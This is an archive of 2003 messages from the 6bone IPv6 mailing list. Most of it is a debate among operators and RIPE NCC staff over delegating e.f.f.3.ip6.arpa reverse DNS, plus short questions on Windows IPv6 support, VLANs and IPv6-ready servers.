From lists.fcu@no-way.org Thu Feb 20 00:35:46 2003
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From: Flavio Curti <lists.fcu@no-way.org>
To: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] Dial-up over v6
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hi

On Wed, Feb 19, 2003 at 11:56:14AM -0800, Stewart Tansley wrote:
> Stephen -- there is no native PPPv6 support in Windows XP SP1, the
> forthcoming Windows Server 2003, or, I believe, the very old Windows
> 2000 Technology Preview. Note the latter has not been developed for 3
> years and there are no plans to touch it at this time.
i noted that, and wondered how one could bring 'recent' ipv6 support to
windows 2000. are there any plans?

thank you & greetz

Flavio

--
http://no-way.org/~fcu/

From bmanning@ISI.EDU Thu Feb 20 05:44:09 2003
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Subject: Re: [6bone] ip6.arpa ...
In-Reply-To: <20030220080805.GF28914@bfib.colo.bit.nl> from Pim van Pelt at "Feb 20, 3 09:08:05 am"
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% Hallo.
% 
% I have seen that the ip6.arpa delegation is now in place, but the
% e.f.f.3.ip6.arpa is not. Following a statement I picked up at RIPE44
% in Amsterdam a month ago, I believe that the RIRs are held to keep
% the nameservers in their control.
% 
% May I suggest opening up dot.ep.net for slave transfers from ns.ripe.net
% so that RIPE may copy the zone nightly, rewrite all the ip6.int into ip6.arpa
% and create a duplicate tree for e.f.f.3.ip6.arpa ?
% 
% groet,
% Pim
% -- 

	several issues raised at the last RIPE mtg w/ Andrei are:
	) zone consistancy.  the delegations in 3ffe should be
	  identical, regardless of the anchor point. the RIR
	  proposal is to have the data -differ- between the 
	  two anchor points.  The proper way forward would be
	  to use $ORIGIN to anchor the same zone in two places.
	  The reason you need to do this is that there is nearly
	  a decade of deployed resolvers that will only look in
	  ip6.int for data and it will take a decade or more to
	  have those resolvers expire.
	) the zone transfers should be protected by TSIG. I have
	  not been able to successfully work with RIPE on getting
	  TSIGS in place.  I have been able to do so with both APNIC
	  and ARIN. I've not had dealings w/ LATNIC yet.
	) IPv6 transport capability. ARIN does not have v6 capability.
	  RIPE has only sporadically supported v6 although I hope 
	  the current efforts will be stable.  APNIC has had stable
	  v6 capability for several years now.  LATNIC has v6 experise
	  but I've not been able to get closure on their operational
	  stance.
	) previous email to the 6bone list have suggested that 
	  the same servers be used for both e.f.f.3.ip6.int and e.f.f.3.ip6.arpa
	  and I think this is a sound stratagy.

	So what I proposed to Andrei to take back to the RIRs was the 
	following:

        Recognise that the data published for 3ffe:: should be identical
	regardless of anchorpoint.  Plan for an active migration plan
	from industry/user nameservers to RIR nameservers for this delegation,
	based on the capability of the RIRs to support native IPv6 and
	TSIG. 

	I've not heard back from Andrei or anyone else on this proposal.
	I intend to work with the RIRs, starting with APNIC, to migrate
	the 3ffe:: zone to RIR servers.

--bill
	
	
--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From gert@Space.Net Thu Feb 20 06:06:58 2003
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Subject: Re: [6bone] ip6.arpa ...
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Hi,

On Thu, Feb 20, 2003 at 05:44:06AM -0800, Bill Manning wrote:
> 	So what I proposed to Andrei to take back to the RIRs was the 
> 	following:
> 
>         Recognise that the data published for 3ffe:: should be identical
> 	regardless of anchorpoint.  Plan for an active migration plan
> 	from industry/user nameservers to RIR nameservers for this delegation,
> 	based on the capability of the RIRs to support native IPv6 and
> 	TSIG. 
> 
> 	I've not heard back from Andrei or anyone else on this proposal.
> 	I intend to work with the RIRs, starting with APNIC, to migrate
> 	the 3ffe:: zone to RIR servers.

I'm glad to hear that there is some progress going on now.

I agree with your proposal.  The thing that RIPE thought up always felt
needlessly complex to me.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  56285 (56029)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tbegin@tf1.fr Thu Feb 20 07:42:31 2003
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Hello to all,
I am wondering on IPv6 impacts over a company network's architecture.
I mean, a big IPv4 network has to be divided in several VLANs in order to lighten the available bandwidth (sometimes for security reasons but it is not my interest in this case). And this because broadcast messages are received and examined by all network adapter. 
Thus comes my question: As there is no more broadcast messages but only multicast messages in IPv6, is there still a need to divide a big network in smaller networks (VLANs) ?

Thanks

Thomas BEGIN

From pekkas@netcore.fi Thu Feb 20 08:23:35 2003
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From: Pekka Savola <pekkas@netcore.fi>
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   <6bone@ISI.EDU>
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On Thu, 20 Feb 2003, Gert Doering wrote:
> On Thu, Feb 20, 2003 at 05:44:06AM -0800, Bill Manning wrote:
> > 	So what I proposed to Andrei to take back to the RIRs was the 
> > 	following:
> > 
> >         Recognise that the data published for 3ffe:: should be identical
> > 	regardless of anchorpoint.  Plan for an active migration plan
> > 	from industry/user nameservers to RIR nameservers for this delegation,
> > 	based on the capability of the RIRs to support native IPv6 and
> > 	TSIG. 
> > 
> > 	I've not heard back from Andrei or anyone else on this proposal.
> > 	I intend to work with the RIRs, starting with APNIC, to migrate
> > 	the 3ffe:: zone to RIR servers.
> 
> I'm glad to hear that there is some progress going on now.
> 
> I agree with your proposal.  The thing that RIPE thought up always felt
> needlessly complex to me.

Uhh, the proposal at least to me looks unnecessarily complex.  There is no
need to tie the process to having IPv6 enabled nameservers, or (to a
lesser degree) TSIG capabilities.  Those items can be worked out, though,
after the initial setup.

Folks want the delegations soon, not in a year.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From pim@ipng.nl Thu Feb 20 08:32:56 2003
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| 	several issues raised at the last RIPE mtg w/ Andrei are:
| 	) zone consistancy.  the delegations in 3ffe should be
| 	  identical, regardless of the anchor point. the RIR
| 	  proposal is to have the data -differ- between the 
| 	  two anchor points.  The proper way forward would be
| 	  to use $ORIGIN to anchor the same zone in two places.
| 	  The reason you need to do this is that there is nearly
| 	  a decade of deployed resolvers that will only look in
| 	  ip6.int for data and it will take a decade or more to
| 	  have those resolvers expire.
This is a good point, however it is not the only proper way. I
do not think there is any problem with converting the zonefile
to fit the ip6.arpa tree on a regular (daily) basis. We might
just be able to fix some lame delegations in the same run, but
that would be deliberately creating different zones though.

| 	) the zone transfers should be protected by TSIG. I have
| 	  not been able to successfully work with RIPE on getting
| 	  TSIGS in place.  I have been able to do so with both APNIC
| 	  and ARIN. I've not had dealings w/ LATNIC yet.
This is unnessecary.

| 	) IPv6 transport capability. ARIN does not have v6 capability.
| 	  RIPE has only sporadically supported v6 although I hope 
| 	  the current efforts will be stable.  APNIC has had stable
| 	  v6 capability for several years now.  LATNIC has v6 experise
| 	  but I've not been able to get closure on their operational
| 	  stance.
This is unnessecary. 

| 	) previous email to the 6bone list have suggested that 
| 	  the same servers be used for both e.f.f.3.ip6.int and e.f.f.3.ip6.arpa
| 	  and I think this is a sound stratagy.
This is undesirable as 6BONE should not be administering servers
in the .arpa tree. It is also unnessecary.

|         Recognise that the data published for 3ffe:: should be identical
| 	regardless of anchorpoint.  Plan for an active migration plan
| 	from industry/user nameservers to RIR nameservers for this delegation,
| 	based on the capability of the RIRs to support native IPv6 and
| 	TSIG. 
It can be identical with the RIPE proposal (copying the zone and 
s/int\./arpa.) also.

I see no technical problems at all with implementing it that way.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From gert@Space.Net Thu Feb 20 08:41:59 2003
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From: Gert Doering <gert@space.net>
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Hi,

On Thu, Feb 20, 2003 at 06:23:24PM +0200, Pekka Savola wrote:
> Uhh, the proposal at least to me looks unnecessarily complex.  There is no
> need to tie the process to having IPv6 enabled nameservers, or (to a
> lesser degree) TSIG capabilities.  Those items can be worked out, though,
> after the initial setup.

To clarify this: I agree with Bill that it's better to just copy the
same zone with a different $ORIGIN than to have a complex mechanism that
will "copy some of the records but not all of them".

As for the proposal itself - well, RIPE has IPv6 enabled name servers now,
it seems to be here to stay, let's get on with that.

> Folks want the delegations soon, not in a year.

Folks wanted the delegations *a year ago*.

I, for one, have been complaining about this since R43.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  56285 (56029)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From stansley@microsoft.com Thu Feb 20 10:11:42 2003
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Hi Flavio -- no, per
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6.asp, first
paragraph, there are no current plans. The stack code is different
between Windows 2000 and Windows XP/Server 2003, so it would require
substantial work. 

Stewart Tansley
http://www.microsoft.com/ipv6/ 
http://www.microsoft.com/embedded/


-----Original Message-----
From: Flavio Curti [mailto:lists.fcu@no-way.org] 
Sent: Thursday, February 20, 2003 12:36 AM
To: 6BONE List

hi

On Wed, Feb 19, 2003 at 11:56:14AM -0800, Stewart Tansley wrote:
> Stephen -- there is no native PPPv6 support in Windows XP SP1, the 
> forthcoming Windows Server 2003, or, I believe, the very old Windows 
> 2000 Technology Preview. Note the latter has not been developed for 3 
> years and there are no plans to touch it at this time.

i noted that, and wondered how one could bring 'recent' ipv6 support to
windows 2000. are there any plans?

thank you & greetz

Flavio

--
http://no-way.org/~fcu/
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From bmanning@ISI.EDU Thu Feb 20 11:07:51 2003
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Subject: Re: [6bone] ip6.arpa ...
In-Reply-To: <Pine.LNX.4.44.0302201821340.14904-100000@netcore.fi> from Pekka Savola at "Feb 20, 3 06:23:24 pm"
To: pekkas@netcore.fi (Pekka Savola)
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% > I agree with your proposal.  The thing that RIPE thought up always felt
% > needlessly complex to me.
% 
% Uhh, the proposal at least to me looks unnecessarily complex.  There is no
% need to tie the process to having IPv6 enabled nameservers, or (to a
% lesser degree) TSIG capabilities.  Those items can be worked out, though,
% after the initial setup.
% 
% Folks want the delegations soon, not in a year.

	It won't take a year. And while it may have been required
	crutch seven years ago, there is -zero- reason why one should
	expect IPv6 data -not- be visable over IPv6 transport.  Do you
	want to tie IPv6 applications to reachability of an IPv4 service?


	a gripe about the RIR proposal is that only one (APNIC) has been
	fully committed to IPv6 and has had working v6 capable systems
	online for years.  RIPE has been sporadic in its support for
	IPv6 capable systems.  LATNIC has the expertise and some
	transmission capability while ARIN does not seem to have
	a working IPv6 support stratagy.

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Thu Feb 20 11:11:30 2003
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In-Reply-To: <20030220163049.GC1091@bfib.colo.bit.nl> from Pim van Pelt at "Feb 20, 3 05:30:49 pm"
To: pim@ipng.nl (Pim van Pelt)
Date: Thu, 20 Feb 2003 11:11:22 -0800 (PST)
Cc: bmanning@ISI.EDU, pim@ipng.nl, 6bone@ISI.EDU
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% | 	several issues raised at the last RIPE mtg w/ Andrei are:
% | 	) zone consistancy.  the delegations in 3ffe should be
% This is a good point, however it is not the only proper way. I
% do not think there is any problem with converting the zonefile
% to fit the ip6.arpa tree on a regular (daily) basis. We might
% just be able to fix some lame delegations in the same run, but
% that would be deliberately creating different zones though.

	thank you. 

% | 	) the zone transfers should be protected by TSIG. I have
% | 	  not been able to successfully work with RIPE on getting
% | 	  TSIGS in place.  I have been able to do so with both APNIC
% | 	  and ARIN. I've not had dealings w/ LATNIC yet.
% This is unnessecary.

	perhaps.

% | 	) IPv6 transport capability. ARIN does not have v6 capability.
% | 	  RIPE has only sporadically supported v6 although I hope 
% | 	  the current efforts will be stable.  APNIC has had stable
% | 	  v6 capability for several years now.  LATNIC has v6 experise
% | 	  but I've not been able to get closure on their operational
% | 	  stance.
% This is unnessecary. 

	is there any reason to support DNS on IPv6 transport?
	some folks think this is a requirement.

% | 	) previous email to the 6bone list have suggested that 
% | 	  the same servers be used for both e.f.f.3.ip6.int and e.f.f.3.ip6.arpa
% | 	  and I think this is a sound stratagy.
% This is undesirable as 6BONE should not be administering servers
% in the .arpa tree. It is also unnessecary.

	why not?

% |         Recognise that the data published for 3ffe:: should be identical
% | 	regardless of anchorpoint.  Plan for an active migration plan
% | 	from industry/user nameservers to RIR nameservers for this delegation,
% | 	based on the capability of the RIRs to support native IPv6 and
% | 	TSIG. 
% It can be identical with the RIPE proposal (copying the zone and 
% s/int\./arpa.) also.

	this worries me as a DNS admin for a number of years.
	zone copy & modify has -always- generated problems.
	

% I see no technical problems at all with implementing it that way.
% 
% groet,
% Pim
% -- 
% ---------- - -    - - -+- - -    - - ----------
% Pim van Pelt                 Email: pim@ipng.nl
% http://www.ipng.nl/             IPv6 Deployment
% -----------------------------------------------
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From bmanning@ISI.EDU Thu Feb 20 11:13:16 2003
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Subject: Re: [6bone] ip6.arpa ...
In-Reply-To: <20030220174156.X15927@Space.Net> from Gert Doering at "Feb 20, 3 05:41:57 pm"
To: gert@space.net (Gert Doering)
Date: Thu, 20 Feb 2003 11:13:05 -0800 (PST)
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% Folks wanted the delegations *a year ago*.
% 
% I, for one, have been complaining about this since R43.
% 

	and I've complained about it since I first learned that the
	IAB/IESG in its infinate wisdom decided to have -two- anchor
	points for IPv6 data and -not- mandate they remain syncronized.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From pekkas@netcore.fi Thu Feb 20 11:41:15 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Bill Manning <bmanning@ISI.EDU>
cc: gert@space.net, <pim@ipng.nl>, <6bone@ISI.EDU>
Subject: Re: [6bone] ip6.arpa ...
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On Thu, 20 Feb 2003, Bill Manning wrote:
> % > I agree with your proposal.  The thing that RIPE thought up always felt
> % > needlessly complex to me.
> % 
> % Uhh, the proposal at least to me looks unnecessarily complex.  There is no
> % need to tie the process to having IPv6 enabled nameservers, or (to a
> % lesser degree) TSIG capabilities.  Those items can be worked out, though,
> % after the initial setup.
> % 
> % Folks want the delegations soon, not in a year.
> 
> 	It won't take a year. And while it may have been required
> 	crutch seven years ago, there is -zero- reason why one should
> 	expect IPv6 data -not- be visable over IPv6 transport.   Do you
> 	want to tie IPv6 applications to reachability of an IPv4 service?

Let me put this other way around: there is -zero- reason to tie the IPv6
data and IPv6 transport together.  People want the data, by any means
necessary.  Having IPv6 transport is bonus but -definitely- _only_ a
bonus.

I sympathize, but this is all irrelevant.  People wanted this a year ago.  
It doesn't really matter how the servers are reachable.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From Robert.Kiessling@de.easynet.net Thu Feb 20 11:56:37 2003
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Bill Manning <bmanning@ISI.EDU> writes:

> % Folks want the delegations soon, not in a year.
> 
> 	It won't take a year. And while it may have been required
> 	crutch seven years ago, there is -zero- reason why one should
> 	expect IPv6 data -not- be visable over IPv6 transport.  Do you
> 	want to tie IPv6 applications to reachability of an IPv4 service?

There is zero reason not to rely on IPv4 for zone transfer.

RIPE nameservers have IPv6 connectivity.

So what exactly is the issue here?

> 	a gripe about the RIR proposal is that only one (APNIC) has been
> 	fully committed to IPv6 and has had working v6 capable systems
> 	online for years.  RIPE has been sporadic in its support for
> 	IPv6 capable systems.  LATNIC has the expertise and some
> 	transmission capability while ARIN does not seem to have
> 	a working IPv6 support stratagy.

All this seems pretty unrelated to ip6.arpa delegation for
3ffe. Things like TSIG or IPv6 transport for zone transfer are nice to
have, but to me as an uninitiated sound like bad excuses for still
more delay, for reasons untold.

Robert


From bmanning@ISI.EDU Thu Feb 20 12:20:41 2003
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Subject: Re: [6bone] ip6.arpa ...
In-Reply-To: <m37kbuzpxr.fsf@joseba.easynet.de> from Robert Kiessling at "Feb 20, 3 07:56:32 pm"
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Date: Thu, 20 Feb 2003 12:20:27 -0800 (PST)
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% All this seems pretty unrelated to ip6.arpa delegation for
% 3ffe. Things like TSIG or IPv6 transport for zone transfer are nice to
% have, but to me as an uninitiated sound like bad excuses for still
% more delay, for reasons untold.

	as I stated these are gripes.  the nut of the issue is that
	RIPE is proposing to edit/change the zone data between
	the 3ffe:: delegations as seen from ip6.int  and ip6.arpa

	This is fatally flawed, as some folks will get one set of 
	answers while others will get distinctly different answers
	to the same questions, based on the age of the resolver that
	is in their endsystems.  

	the transition proposal I made has certain features as "checklist"
	items.  If you really don't care about IPv6 transport or zone
	transmission integrity, they can be excised.  And the simplist,	
	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
	the IANA delegate that point to -exactly- the same server 
	suite that hosts the e.f.f.3.ip6.int delegation.  The RIRs
	will have none of that, for reasons that do not appear to
	be technical. 

	the servers for ip6.int all have native IPv6 capability 
	as well as IPv4 capability and have since 2000.  

	Moving to the RIPE proposal looks like moving backward to
	me, in a number of respects.  I would really like to be
	persuaded that it really is an advancement.

% Robert

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From RJorgensen@upctechnology.com Thu Feb 20 12:28:05 2003
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From: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: RE: [6bone] ip6.arpa ...
Date: Thu, 20 Feb 2003 21:25:58 +0100
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> On Thu, 20 Feb 2003, Bill Manning wrote:
<snip>

The technical side are quite trivial so whats the reason to
delay this even more? Has to be some non technical issues
if there are any.

The Important thing are to get 3ffe spaced moved to ip6.arpa,
not next year but Now. 
Issues like IPv6 transport and not IPv4 are features and not 
important enough to delay this. Same goes for if the RIR have 
IPv6 strategy or not... it's not even related to 6bone as I see it.


Please, just get it working so we can move on with IPv6...



--- Roger J. ---

From Robert.Kiessling@de.easynet.net Thu Feb 20 12:55:57 2003
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Bill Manning <bmanning@ISI.EDU> writes:

> 	as I stated these are gripes.  the nut of the issue is that
> 	RIPE is proposing to edit/change the zone data between
> 	the 3ffe:: delegations as seen from ip6.int  and ip6.arpa
> 
> 	This is fatally flawed, as some folks will get one set of 
> 	answers while others will get distinctly different answers
> 	to the same questions, based on the age of the resolver that
> 	is in their endsystems.  

You cannot avoid that. Having the same delegations on
sub-e.f.f.3.ip6.arpa level does not guarantee that the eventual
answers are the same, since the nameserver to which it's finally
delgated can have different zones for ....ip6.arpa and ...ip6.int. And
quite often they would.

The only way to avoid that is to recursively transfer all the
subzones. I wouldn't think anyone seriously proposes this.

> 	the transition proposal I made has certain features as "checklist"
> 	items.  If you really don't care about IPv6 transport or zone
> 	transmission integrity, they can be excised.  And the simplist,	
> 	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
> 	the IANA delegate that point to -exactly- the same server 
> 	suite that hosts the e.f.f.3.ip6.int delegation.  

Then why has't this been done long ago?

> 	the servers for ip6.int all have native IPv6 capability 
> 	as well as IPv4 capability and have since 2000.  

This might be, but as long as this capability is not announced it's of
no use for resolving.

> dig ip6.int. ns
imag.imag.fr.           3d23h53m15s IN A  129.88.30.1

> dig imag.imag.fr. aaaa
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

Let's have a look into our cache how the situation actually looks.

> dig ip6.int ns

;; ADDITIONAL SECTION:
z.ip6.int.              20h24m5s IN AAAA  3ffe:0:1::c620:242
ns3.nic.fr.             2d14h19s IN A   192.134.0.49
ns3.nic.fr.             3d21h13m44s IN AAAA  2001:660:3006:1::1:1
flag.ep.net.            16h24m6s IN A   198.32.4.13
flag.ep.net.            23h48m24s IN AAAA  3ffe:805::2d0:b7ff:fee8:c4d9
imag.imag.fr.           3d23h47m58s IN A  129.88.30.1
munnari.oz.au.          1d22h32m12s IN A  128.250.1.21
munnari.oz.au.          1h48m48s IN AAAA  2001:388:c02:4000::1:21
y.ip6.int.              20h24m5s IN AAAA  3ffe:50e::1

> dig 6.0.1.0.0.2.ip6.arpa. ns

;; ADDITIONAL SECTION:
ns.ripe.net.            18h56m42s IN AAAA  2001:610:240:0:193::193
ns.ripe.net.            1d21h45m57s IN A  193.0.0.193
ns.apnic.net.           12h31m21s IN A  203.37.255.97
munnari.oz.au.          1d22h31m20s IN A  128.250.1.21
munnari.oz.au.          1h47m56s IN AAAA  2001:388:c02:4000::1:21
auth03.ns.uu.net.       40m38s IN A     198.6.1.83
svc00.apnic.net.        1d23h57m7s IN A  202.12.28.131
sunic.sunet.se.         4h14m23s IN A   192.36.125.2
ns3.nic.fr.             2d13h59m27s IN A  192.134.0.49
ns3.nic.fr.             3d21h12m52s IN AAAA  2001:660:3006:1::1:1

So the difference here is 55% AAAA vs. 30% AAAA. Or in absolute terms
three vs. five AAAA answers. This does not look like a substantial
difference to me.

> 	Moving to the RIPE proposal looks like moving backward to
> 	me, in a number of respects.  I would really like to be
> 	persuaded that it really is an advancement.

Any delegation is an advancement.

Robert


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Bill Manning <bmanning@ISI.EDU> writes:

> 	as I stated these are gripes.  the nut of the issue is that
> 	RIPE is proposing to edit/change the zone data between
> 	the 3ffe:: delegations as seen from ip6.int  and ip6.arpa
> 
> 	This is fatally flawed, as some folks will get one set of 
> 	answers while others will get distinctly different answers
> 	to the same questions, based on the age of the resolver that
> 	is in their endsystems.  

Could you please indicate which changes you mean? In the RIR proposal,
I only find:

| The delegation for e.f.f.3.ip6.arpa is made by IANA to one of the
| RIRs. Zone information for this space is produced by copying the
| existing delegations in the e.f.f.3.ip6.int zone. Additional check is
| done to ensure that the servers corresponding to the NS RR are also
| authoritative in .arpa space. Zone information is updated whenever
| changes are detected in the e.f.f.3.ip6.int zone.

So the only change is to remove non-responsive name servers. And the
net effect of this is that queries get an earlier negative reply, but
not "different answers".

| 	And the simplist,	
| 	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
|	the IANA delegate that point to -exactly- the same server 
|	suite that hosts the e.f.f.3.ip6.int delegation.

Surely the fastest way at the moment it for the RIRs to provide this
information, since the address space is already delegated to them.

Robert


From tjc@ecs.soton.ac.uk Thu Feb 20 13:31:14 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] ip6.arpa ...
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On Thu, Feb 20, 2003 at 12:20:27PM -0800, Bill Manning wrote:
> 
> 	the transition proposal I made has certain features as "checklist"
> 	items.  If you really don't care about IPv6 transport or zone
> 	transmission integrity, they can be excised.  And the simplist,	
> 	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
> 	the IANA delegate that point to -exactly- the same server 
> 	suite that hosts the e.f.f.3.ip6.int delegation.  The RIRs
> 	will have none of that, for reasons that do not appear to
> 	be technical. 

At this rate the 6bone will be deprecated before the (sensible) delegation
happens :(    There seems no point continuing to gripe, as clearly nothing
will happen... which is a big shame.

Tim

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Subject: Re: [6bone] ip6.arpa ...
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On Thu, Feb 20, 2003 at 09:41:05PM +0200, Pekka Savola wrote:
> 
> I sympathize, but this is all irrelevant.  People wanted this a year ago.  
> It doesn't really matter how the servers are reachable.

Exactly.

Tim

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Subject: Re: [6bone] ip6.arpa ...
In-Reply-To: <m3lm0avfhj.fsf@joseba.easynet.de> from Robert Kiessling at "Feb 20, 3 08:55:52 pm"
To: Robert.Kiessling@de.easynet.net (Robert Kiessling)
Date: Thu, 20 Feb 2003 16:01:54 -0800 (PST)
Cc: bmanning@ISI.EDU, pekkas@netcore.fi, gert@space.net, pim@ipng.nl,
   6bone@ISI.EDU
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% Bill Manning <bmanning@ISI.EDU> writes:
% 
% > 	This is fatally flawed, as some folks will get one set of 
% > 	answers while others will get distinctly different answers
% > 	to the same questions, based on the age of the resolver that
% > 	is in their endsystems.  
% 
% You cannot avoid that. Having the same delegations on
% sub-e.f.f.3.ip6.arpa level does not guarantee that the eventual
% answers are the same, since the nameserver to which it's finally
% delgated can have different zones for ....ip6.arpa and ...ip6.int. And
% quite often they would.

	actually, you can. using -ONE- zone file with two $ORIGIN
	statements will ensure that e.f.f.3.ip6.arpa is identical
	to e.f.f.3.ip6.int.

% > 	transmission integrity, they can be excised.  And the simplist,	
% > 	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
% > 	the IANA delegate that point to -exactly- the same server 
% > 	suite that hosts the e.f.f.3.ip6.int delegation.  
% 
% Then why has't this been done long ago?

	the RIRs refused to allow it.

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From Robert.Kiessling@de.easynet.net Thu Feb 20 17:39:32 2003
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Bill Manning <bmanning@ISI.EDU> writes:

> % Bill Manning <bmanning@ISI.EDU> writes:
> % 
> % > 	This is fatally flawed, as some folks will get one set of 
> % > 	answers while others will get distinctly different answers
> % > 	to the same questions, based on the age of the resolver that
> % > 	is in their endsystems.  
> % 
> % You cannot avoid that. Having the same delegations on
> % sub-e.f.f.3.ip6.arpa level does not guarantee that the eventual
> % answers are the same, since the nameserver to which it's finally
> % delgated can have different zones for ....ip6.arpa and ...ip6.int. And
> % quite often they would.
> 
> 	actually, you can. using -ONE- zone file with two $ORIGIN
> 	statements will ensure that e.f.f.3.ip6.arpa is identical
> 	to e.f.f.3.ip6.int.

You know this is not true. This only guarantees that one level of
delgation is exactly the same. For all practical purposes the RIR
proposal does the same.

In no way does this ensure that the answer to a reverse query is the
same for .ip6.arpa and .ip6.int.

We are still waiting for your example about a substantially different
answer which you claim results from the RIR proposal.

And what you mean by

|        And the simplist,               
|	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
|	the IANA delegate that point to -exactly- the same server 
|	suite that hosts the e.f.f.3.ip6.int delegation

given the fact that ip6.arpa is delegated to the RIRs, and
consequently it is the RIRs who would need to make that delegation,
not IANA.

Robert


From andrei@ripe.net Fri Feb 21 03:26:44 2003
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Dear all,

Some points to clarify and defend the RIRs proposal.

Robert Kiessling wrote:
> Bill Manning <bmanning@ISI.EDU> writes:
> 
> 
>>	as I stated these are gripes.  the nut of the issue is that
>>	RIPE is proposing to edit/change the zone data between
>>	the 3ffe:: delegations as seen from ip6.int  and ip6.arpa
>>
>>	This is fatally flawed, as some folks will get one set of 
>>	answers while others will get distinctly different answers
>>	to the same questions, based on the age of the resolver that
>>	is in their endsystems.  
> 
> 
> Could you please indicate which changes you mean? In the RIR proposal,
> I only find:
> 
> | The delegation for e.f.f.3.ip6.arpa is made by IANA to one of the
> | RIRs. Zone information for this space is produced by copying the
> | existing delegations in the e.f.f.3.ip6.int zone. Additional check is
> | done to ensure that the servers corresponding to the NS RR are also
> | authoritative in .arpa space. Zone information is updated whenever
> | changes are detected in the e.f.f.3.ip6.int zone.
> 

Our goal here is to reduce lameness in the zone. If people feel that the 
goal of making data in both zones identical overweights, lameness check 
can be removed.


> So the only change is to remove non-responsive name servers. And the
> net effect of this is that queries get an earlier negative reply, but
> not "different answers".
> 
> | 	And the simplist,	
> | 	fastest way to get e.f.f.3.ip6.arpa. out the door is to have
> |	the IANA delegate that point to -exactly- the same server 
> |	suite that hosts the e.f.f.3.ip6.int delegation.
> 

We promised and developed a pragmatic solution, a simple hack, if you 
want. Provided that many 6bone related issues are still on the table 
this seems to be a solution with a narrow scope and without implications 
- just to solve the particular problem.

> Surely the fastest way at the moment it for the RIRs to provide this
> information, since the address space is already delegated to them.
> 

The RIRs have the prototype running. We are happy to start working with 
Bill regarding the zone transfers. This should not take long as I see no 
real technical issues here.

> Robert
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

Thanks,

Andrei

-- 
Andrei Robachevsky
CTO, RIPE NCC



From joe@621.org Fri Feb 21 11:19:14 2003
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Date: Fri, 21 Feb 2003 13:20:11 -0600
From: Joe Williams <joe@621.org>
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hello,
im pretty new to IPv6 and was wondering where i could find really good 
documentation on the subject. ive been on the listserv for a while and i 
understand most of what you guys are discussing, but theres about 25% i 
dont. any help would be great.
-joe

-- 
___________________________________________________
<<logical.621.org>> .:Part of the 621.org Network:.
6BONE Handle: JAW621-6BONE
RIPE Handle: JAW621-RIPE




From basit@basit.cc Fri Feb 21 14:21:51 2003
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www.hs247.com ?


On Fri, 21 Feb 2003, Joe Williams wrote:

> hello,
> im pretty new to IPv6 and was wondering where i could find really good
> documentation on the subject. ive been on the listserv for a while and i
> understand most of what you guys are discussing, but theres about 25% i
> dont. any help would be great.
> -joe
>
> --
> ___________________________________________________
> <<logical.621.org>> .:Part of the 621.org Network:.
> 6BONE Handle: JAW621-6BONE
> RIPE Handle: JAW621-RIPE
>
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From robson_oliverra@hotmail.com Sun Feb 23 10:35:33 2003
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From: "Robson Oliveira" <robson_oliverra@hotmail.com>
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Date: Sun, 23 Feb 2003 15:36:03 -0300
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Subject: [6bone] Database and Web servers
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This is a multi-part message in MIME format.

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Hi all,

    Can somebody let us know any experience with a Database application =
(MySql or Oracle) and multihomed web server (IIS or Apache) ready in =
IPv6?

I'll appreciate your information.

Robson Oliveira

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http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hi all,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; Can somebody let us know any =
experience=20
with a Database application (MySql or Oracle) and multihomed =
web&nbsp;server=20
(IIS or Apache) ready in IPv6?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>I'll appreciate your information.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Robson Oliveira</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C2DB51.45DFE450--

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From: Jean-Francois Laforest <fuzzball@ipv6peer.net>
To: Robson Oliveira <robson_oliverra@hotmail.com>
Cc: 6bone ML <6bone@mailman.isi.edu>
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On Sun, 2003-02-23 at 13:36, Robson Oliveira wrote:
> Hi all,
